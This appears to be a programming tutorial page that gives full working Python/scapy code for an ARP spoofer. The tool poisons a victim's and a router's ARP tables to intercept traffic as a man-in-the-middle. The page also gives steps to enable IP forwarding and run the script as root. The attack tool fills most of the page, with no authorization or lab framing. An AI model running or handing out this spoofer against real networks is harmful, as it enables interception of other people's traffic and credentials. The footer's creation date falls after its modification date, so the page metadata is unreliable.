Python ARP Spoofer

This guide demonstrates how to create an ARP (Address Resolution Protocol) spoofer using the scapy library. This tool tricks a target device into thinking your machine is the router (gateway), allowing you to intercept traffic (Man-in-the-Middle).

Modules Used:

scapy: A powerful interactive packet manipulation program.
time: To handle the delay between sending packets.
sys: To print dynamic output.

Installation

You need to install scapy.

pip install scapy

The Code

Save this as arp_spoof.py.

import scapy.all as scapy
import time
import sys

def get_mac(ip):
    """
    Sends an ARP request to get the MAC address of a specific IP.
    """
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    if answered_list:
        return answered_list[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip):
    """
    Sends a spoofed ARP response to the target.
    Tells target_ip that spoof_ip has our MAC address.
    """
    target_mac = get_mac(target_ip)
    if not target_mac:
        # Could not find target MAC, skip this iteration
        return

    # op=2 means ARP Response (is-at)
    # pdst: Packet Destination (Target IP)
    # hwdst: Hardware Destination (Target MAC)
    # psrc: Packet Source (IP we are pretending to be, e.g., Router)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
    """
    Restores the ARP tables to their original state.
    """
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)

    if destination_mac and source_mac:
        # Send packet with actual MAC address of source_ip
        packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
        scapy.send(packet, count=4, verbose=False)

if __name__ == "__main__":
    # Configuration
    target_ip = "192.168.1.5" # The victim computer
    gateway_ip = "192.168.1.1" # The router

    try:
        sent_packets_count = 0
        print(f"[*] Starting ARP Spoofing on {target_ip}...")
        while True:
            # Tell the target that we are the router
            spoof(target_ip, gateway_ip)
            # Tell the router that we are the target
            spoof(gateway_ip, target_ip)

            sent_packets_count += 2
            print(f"\r[+] Packets sent: {sent_packets_count}", end="")
            sys.stdout.flush()
            time.sleep(2)
    except KeyboardInterrupt:
        print("\n[!] Detected CTRL+C ... Resetting ARP tables... Please wait.")
        restore(target_ip, gateway_ip)
        restore(gateway_ip, target_ip)
        print("[*] ARP tables restored. Quitting.")

Usage

Enable IP Forwarding: For the traffic to actually flow through your machine (instead of just dropping it), you must enable IP forwarding.
- Linux:
```
echo 1 > /proc/sys/net/ipv4/ip_forward
```
- Windows: Requires registry editing or using PowerShell Set-NetIPInterface -Forwarding Enabled.
Run the Script: (Requires Root/Admin privileges)
```
sudo python arp_spoof.py
```

programming/python/python

Created: March 17, 2026 • Last Modified: January 28, 2026

Docs Login

Python ARP Spoofer

Installation

The Code

Usage